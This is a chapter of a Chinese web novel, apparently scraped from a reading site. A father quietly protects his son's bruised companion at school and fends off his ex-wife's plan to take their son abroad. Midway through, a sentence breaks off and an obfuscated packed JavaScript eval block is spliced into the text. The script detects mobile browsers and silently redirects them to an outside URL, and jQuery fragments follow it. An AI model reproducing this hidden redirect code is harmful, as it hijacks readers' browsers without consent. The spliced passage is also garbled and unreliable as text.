默认冷灰
24号文字
方正启体

15. 大洋彼岸的女人

作者:楼兰兰兰本书字数:K更新时间:
    第二天清晨,餐桌上的气氛压抑得几乎能滴出水来。


    池景烁顶着两个黑眼圈,赌气似的埋头猛喝碗里的粥,看都不看主位上的池洺川一眼。


    而他对面的祁默,则始终低着头,微长的刘海垂下来,遮住了大半张脸,只露出一个线条紧绷的下巴。


    他左边的脸颊依然红肿着,虽然用冰袋敷过,但那青紫的痕迹在白皙的皮肤上显得格外触目惊心。


    许兰心坐在祁默身边,一如既往地将一个剥好的鸡蛋放进池景烁碗里。


    “景烁慢点吃,别噎着。今天想吃什么?晚上阿姨给你做。”


    她对祁默脸上的伤视而不见,仿佛那只是不小心蹭到的一块灰尘。


    唯一和平时没什么两样的人,只有池洺川。


    他慢条斯理地吃着早餐,仿佛丝毫没有被这诡异的气氛所影响。


    吃完早餐,池洺川放下筷子,用餐巾擦了擦嘴,然后拿起搭在椅背上的西装外套。


    “走了。”


    池景烁一愣,嘴里的粥都忘了咽下去。祁默也抬起了头,眼中闪过一丝错愕。


    “今天我送你们。”


    池洺川瞥了两个少年一眼,语气平淡地补充道,说完便径自朝门外走去。


    这简直是太阳从西边出来了。


    池景烁和祁默对视了一眼,都在对方眼中看到了同样的惊讶。


    要知道,平时除非他们俩要迟到了,否则池洺川是绝对懒得开那几分钟的车送他们的。


    池景烁心里的气瞬间消了一半。


    他爸这是在变相地安抚他吗?


    他立刻丢下碗筷,抓起书包,兴冲冲地追了过去:“爸!等等我!”


    祁默也默默地站起身,背上书包,对着许兰心僵硬地点了点头,然后也跟了上去。


    他的步子有些迟疑,心里乱成一团麻。


    池洺川为什么要送他们?是因为昨晚的事吗?


    不,不可能。他一定是为了池景烁。


    *


    黑色的轿车平稳地行驶在清晨的街道上。


    池景烁一上车就自觉地霸占了副驾驶座,此刻正侧着身,兴致勃勃地跟池洺川说着学校里的趣事,试图将昨晚的不愉快彻底翻篇。


    而祁默一个人坐在宽敞的后座,显得格外沉默。


    他靠着车窗,目光落在窗外飞速倒退的街景上,但眼神却是空洞的,没有焦距。


    车里的空间虽然宽敞,池洺川身上那股淡淡的烟草味混合着洗衣液的清香,无孔不入地钻进他的鼻腔。


    这味道让他感到一阵莫名的心安,却又让他更加清晰地意识到,自己与前排那对父子之间,隔着一道无法逾越的鸿沟。


    他能清楚地听到池景烁带着笑意的声音,能从后视镜里,偶尔捕捉到池洺川专注开车时的侧脸轮廓。


    他们就像一个完整的世界。而他,只是一个不小心闯入的、多余的旁观者。


    昨晚那火辣辣的巴掌,和池洺川那平静得近乎冷漠的眼神,像两座大山,沉甸甸地压在他的心口,让他几乎喘不过气来。


    ---


    车子很快就到了校门口。


    池洺川将车停在路边,解开安全带。


    池景烁麻利地推开车门跳了下去,还不忘回头冲他爸挥了挥手。


    “走了爸!晚上见!”


    祁默也默默地推开车门,背着书包走了下去。


    他站在车边,犹豫了一下,还是转过身,对着车里的池洺川,用几不可闻的声音说了一句:


    “叔叔,再见。”


    他说完,就立刻转过身,几乎是逃也似的朝校门口走去,仿佛多待一秒都是煎熬。


    池洺川看着少年略显仓促的背影,又看了一眼他那依旧红肿的侧脸,握着方向盘的手指不易察觉地收紧了些。


    就在这时,一个穿着校服的女生快步跑到了祁默身边,脸上带着显而易见的担忧。


    “祁默!你的脸怎么了?!”


    女同学的声音清脆又焦急,一下就吸引了周围不少学生的注意。路过的同学们纷纷停下脚步,好奇地朝这边张望。


    祁默被钉在原地,羞耻得无处遁形。他下意识地想要用书包遮挡脸颊,却发现这样只会显得更加可疑。


    就在这时,一道慵懒而平淡的男声,清晰地从车里传了出来。


    “拳击课摔的,下回小心点就好了。”


    池洺川已经摇下了车窗,手臂随意地搭在方向盘上,目光淡淡地扫过一脸担忧的女同学和周围那些看热闹的学生。


    这句没头没尾的话,却像一颗投入水中的石子,瞬间打破了僵局。


    周围的学生们立刻露出了然的神色,交头接耳的声音也变成了“原来是学拳击摔的啊”、“看着就疼”之类的低语。


    女同学也愣了一下,随即略带着少女特有的羞涩与崇拜看了眼祁默,小声说:“原来是这样,那你要多注意安全,别受伤了。拳击很帅的!”


    而当事人祁默整个都呆住了。


    他回过头,难以置信地看向那扇摇下的车窗。


    池叔叔……在帮他解围?


    那个昨晚冷漠地看着他的男人,竟然当着所有人的面为他撒了一个谎?


    祁默的心脏像是被什么东西轻轻撞了一下,他张了张嘴,喉咙里却像是堵了什么,眼眶紧接着有些发热,他慌忙别过脸去。


    池景烁也是一脸活见鬼的表情。


    他看看他爸,又看看祁默,嘴巴张得能塞下一个鸡蛋。


    他爸居然会多管闲事?还编了这么个理由?


    池洺川没再看他们,只是冲儿子微不可察地点了点头,然后便升上了车窗,发动车子离开。


    黑色的轿车在一众学生的注视下,悄无声息地汇入了车流。


    ---


    清晨的阳光透过挡风玻璃,在他轮廓分明的侧脸上投下一片斑驳的光影。


    池洺川单手操控着方向盘,另一只手的手指在方向盘上无意识地敲击着,发出沉闷的“哒、哒”声。


    他为什么要多此一举?


    他自己也说不清楚。


    或许是那孩子昨晚被打肿的脸,在灯光下显得过于凄惨;又或许是今早他那一声怯懦又疏离的“叔叔,再见”。


    那双眼睛,每次见了他时,总是躲闪着,像受惊的小兽,却又会在不经意间流露出一种与年龄不符的、死气沉沉的平静。


    某种程度上来说,还真有些像当年的自己。


    车子没有直接开回书店,而是在一个路口转弯,在一块空地停了下来。


    “咔哒。”


    点烟器的红光在车厢内一闪而过。


    他摇下车窗,夹着烟的手搭在窗沿,深吸了一口,辛辣的烟雾涌入肺腑,那股没由来的烦闷感才稍稍被压下去。


    许兰心……


    他一直知道许兰心这些年过得不如意,单身女人带着孩子确实不容易,所以她时不时以各种名目从自己这里拿点钱,他也没太计较。


    他不在乎那点小钱,权当是看她可怜的份上。


    他原本以为她平日里那种严厉的态度,只是因为对祁默要求高了些,却没想到会过分到昨晚那个程度。


    那不是教育,更像是在发泄什么怨恨。


    烟雾缭绕中,池洺川的眼神变得有些冷。


    他原本确实打算过段时间就搬出去,找个清净的高层公寓,远离现在这边有些嘈杂的街区。


    但现在……


    他弹了弹烟灰,看着那点猩红在风中明灭。


    或许,暂时住在这里,也不是个坏主意。


    至少,他那个只会用拳头解决问题的傻儿子,不会真的冲动到把事情搞得一团糟。


    而那个过于安静的孩子,身边也总得有个能在关键时候出手干预的人。


    一支烟燃尽,池洺川将烟蒂捻灭在车内的烟灰缸里,刚准备发动车子。


    “池……池总?哎呀,真是您啊!”


    一道谄媚又带着试探的声音,突兀地从车窗外响起。


    池洺川懒懒地掀起眼皮,一个西装革履但看起来有些发福的中年男人正搓着手,一脸惊喜地站在他车旁,眼中亮着亢奋的光芒。


    是赵德龙,前天的饭局上就是他死缠烂打非要他投资一个什么破项目,结果被他毫不留情地让人请了出去。


    没想到现在又碰见了。


    “池总,您看这多巧啊!”


    赵德龙见他没直接开车走人,胆子大了些,谄媚的笑容堆满了整张脸。


    “您这是……刚忙完了?我跟您说池总,上次那个项目您真的可以再考虑一下,绝对是稳赚不赔的买卖!现在正是入场的好时机,您只要手指缝里漏一点……”


    “我看起来像收破烂的?”


    池洺川终于开口,声音被烟雾浸染得有些沙哑,但那股子冷意却丝毫未减。


    赵德龙的笑容僵在了脸上:“不……不是,池总您误会了,我那不是破烂,是潜力股,真的,您再给我五分钟,我详细跟您说说……”


    “滚。”


    池洺川连多一个字都懒得说,直接升上车窗。


    黑色轿车很快消失在街头,留下赵德龙一个人站在路边,脸上的谄媚笑容彻底垮了下来。


    他狠狠啐了一口,恶狠狠地望着车子消失的方向。


    *


    池洺川开车回到书店,刚停好车,手机就震动了起来。


    “嗡——”


    他皱眉拿起手机,还以为是赵德龙不知从哪偷偷拿到联系方式打来的电话。


    但屏幕上跳动着一个他许久未见,却无比熟悉的名字——陈艾薇。


    啧……


    这个,可要比赵德龙麻烦多了。


    池洺川的眉头几不可察地皱了一下,划开了接听键。


    “有事?”他低沉的声音带着一丝烦闷。


    电话那头传来一阵电流的嘈杂声,随即是陈艾薇那清冷又带着几分不耐烦的声音,隔着大洋彼岸,依旧充满了强势的压迫感。


    “池洺川,我下个月回国!”


    池洺川冷淡地“嗯”了一声,下了车,关上车门。不紧不慢地把手机换到另一侧耳朵:“所以呢?”


    陈艾薇一听着他这懒懒的嗓音越发冒火:“提前跟你说一声而已,我这次要带景烁跟我去美国。我已经给他把学校联系好了,他不能再跟着你这么鬼混下去了。”


    池洺川笑了一下,没什么情绪:“你倒是说得轻巧。当初是谁扔下他就走的?”


    “我那是为了追求我的事业!”


    电话那头的声音拔高,像是被踩到了痛处。


    陈艾薇深吸一口气,压低声音:“当年抚养权给你,是因为我人在国外不方便。可现在不一样了,我在美国已经站稳脚跟,完全有能力给景烁更好的教育资源。”


    “而且景烁已经成年了,他完全有权选择跟谁生活。”


    “选谁?”他淡淡的,“你?”


    她冷笑:“当然了,你又能给的了他什么?我听说你连公司都关了,现在就在一个小破书店里混日子?池洺川,你也有今天,落魄到要靠开书店养儿子了?”


    池洺川沉默了几秒。


    但也不想费那个口舌跟她解释自己的资金去向。


    “这就不劳你费心了。”他终于开口,声音依旧平淡,“景烁不会跟你走的。”


    “他会的。”陈艾薇语气坚决,“下个月我就回去见他。对了,把他的出生证明拍照发我一份,申请签证要用。”


    “丢了。”


    “别闹,这么重要的文件怎么可能——”


    “真的丢了。”他打断,“之前学校要办手续的时候就没找到。而且,景烁不会同意跟你走的。”


    “你——”


    池洺川根本不给对方再说话的机会,直接挂断了电话。


    他有些烦躁地摩挲着手里的车钥匙。陈艾薇要回国,还要带走池景烁。


    这件事,比那些小打小闹的事都要麻烦得多了。


    出生证明……


    他的确没有。


    之前搬家的时候,家里所有的旧文件都装在一个盒子里,之后就莫名其妙地找不到了。当时他也没太在意,毕竟大部分证


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267511|182152||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    件都可以补办。


    不过也好。


    池洺川按下车钥匙,锁了车。


    证件都丢了,看那个女人还能怎么带走景烁。


    *


    池洺川回到书店时,正是早间客人渐多的时段。


    吧台的咖啡机嗡嗡作响,空气里弥漫着浓郁的咖啡香气和新鲜烘焙甜点的味道。


    许兰心系着围裙,在书架与吧台之间来回走动,一边把新到的书摆上架,一边吩咐店员把咖啡和甜点端到客人桌上,脸上挂着恰到好处的笑意,既温和又带着几分干练。


    池洺川靠在吧台边,拿起一只苹果,像是不经意般开口:


    “许兰心,当初我搬过来的时候,你好像有帮我整理过文件,那时候你看到过景烁的出生证明吗?”


    许兰心正端着一摞盘子,后背瞬间僵直了一下,但很快就恢复了自然。


    她转过身,脸上带着一丝恰到好处的疑惑,将盘子稳稳地放在旁边的餐桌上。


    “出生证明?”


    她用围裙擦了擦手,朝池洺川走近了几步,眉头微微蹙起,做出一副努力回忆的样子。


    “哎呀,你这么一说……好像是有点印象。不过当时你那些文件又多又乱,我就是帮你归了归类,具体哪份是哪份,我可记不清了。”


    她停顿了一下,试探性地问:“是不是你自己收到什么重要的地方,给忘了?怎么突然想起来找这个了?是学校要用吗?这么重要的东西,可千万不能丢了啊。”


    池洺川没说话,只是慢条斯理地削着手里的苹果,眼神深处划过一丝不明的情绪。


    他随意地咬了一口苹果:“没什么,陈艾薇突然发疯,我随便问问。”


    “陈艾薇?”


    听到这个名字,许兰心脸上的表情瞬间变了,一丝嫉妒和怨恨像毒蛇一样从她眼底飞快滑过。但随即就被她用恰到好处的惊讶和担忧完美地掩盖了。


    “她……她联系你了?”


    许兰心走过来压低声音,带着小心翼翼的试探:“她说什么了?不会是……想要回来吧?”


    池洺川神色自若,显得毫不在意:“她说要回来带景烁走。”


    “什么?!”


    许兰心一声惊呼,声音之大连正在看书的客人都抬起头看了看。她连忙捂住嘴,但眼中的震惊和愤怒却怎么也掩盖不住。


    “她凭什么!当初是她自己不要景烁的!现在看景烁长大了,又想来摘现成的桃子?天下哪有这么便宜的事?”


    “她还让你找出生证明?她就是想把景烁从你身边抢走,洺川,你可千万不能让她得逞啊!”


    许兰心一脸心痛,激动地抓住池洺川的手臂,力道大得指甲都掐进了他的衣服里。


    “景烁是你一手带大的,他跟你最亲!那个女人,她除了生下景烁,她还为景烁做过什么?十几年来,是谁在他生病的时候守夜?是谁教他做人的道理?是谁……”


    池洺川垂下眼,看着她紧紧抓着自己手臂的手,没有说话。


    许兰心似乎也意识到了自己的失态,连忙松开了手,脸上露出一丝尴尬和歉意。


    “对不起,洺川,我……我就是太激动了。我是一路看着景烁长大的,我早就把他当成我自己的亲儿子了。我一想到他要被那个女人带走,我就……”


    她说着,眼圈就红了,声音也带上了几分哽咽:“我知道我没资格说这些,但是……但是我是真心疼那孩子。”


    “放心。”


    池洺川终于开口,神色平淡地将苹果核扔进垃圾桶。


    “他哪儿都不会去。”


    说完,他不再看许兰心,转身便上了楼。


    许兰心在他离开后,立马紧张地喘了两口气,胸口急剧起伏。


    她转过身,双手死死按在吧台上,身子微微颤抖,脸上的表情在担忧和某种说不清的紧张之间不断交替着。


    *


    池洺川上楼的脚步很稳,没急,也没停。


    刚才许兰心的反应还历历在目。


    她和陈艾薇从小一起长大,按理说,听见老朋友要回国,她应该是高兴的。可刚才那副如临大敌的模样……


    他眉头微微一动,却没有深究。女人之间的恩怨情仇本就复杂,他也懒得费心去琢磨。


    这些都无所谓。


    反正,景烁哪儿都不会去。


    他推开自己房间的门,环视了一圈被池景烁搞得略显凌乱的空间。床头柜昨晚被他翻过了,好多年前的照片都被翻了出来,地上散落着几本漫画书,还有一个没了盖子的可乐瓶。


    池洺川摇摇头,开始收拾房间。


    就在他整理桌面时,手机又响了。


    这次来电显示的是“池景烁”。


    他接起电话:“怎么了?”


    “爸!”池景烁的声音听起来很兴奋,“你知道吗?刚才好多同学都夸小默练拳击很酷!还有好几个女生围着他问东问西的,什么时候开始学的啊,教练严不严格啊,有没有比赛经验啊!”


    池洺川挑了挑眉:“然后呢?”


    “然后小默就红着脸一句话都不说,最后找了个借口就跑了!哈哈哈,他肯定是不好意思被这么多人关注!平时那么低调的一个人,突然成了焦点,害羞得不行!我觉得他其实挺帅的,就是话太少了……”


    “爸?你还在听吗?”


    “在听。”池洺川应了一声,眼神却有些游移。


    陈艾薇要回来的事……算了,这种事没必要在电话里说。


    他缓了缓语气:“你现在在哪儿?”


    “啊?我在……在厕所里给你打电话啊。”


    “在学校里偷偷打电话?池景烁,你手机不想要了。”


    “哎呀爸!我就是想跟你分享一下嘛,而且现在是课间休息……”


    “好好上学。”


    池洺川刚要挂电话,却听见话筒里传来一阵嘈杂的声音,像是有人在争吵。


    “池景烁?”他皱了皱眉。


    “啊……爸,我先挂了!”


    池景烁的声音听起来有些慌张,电话嘎然而止。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)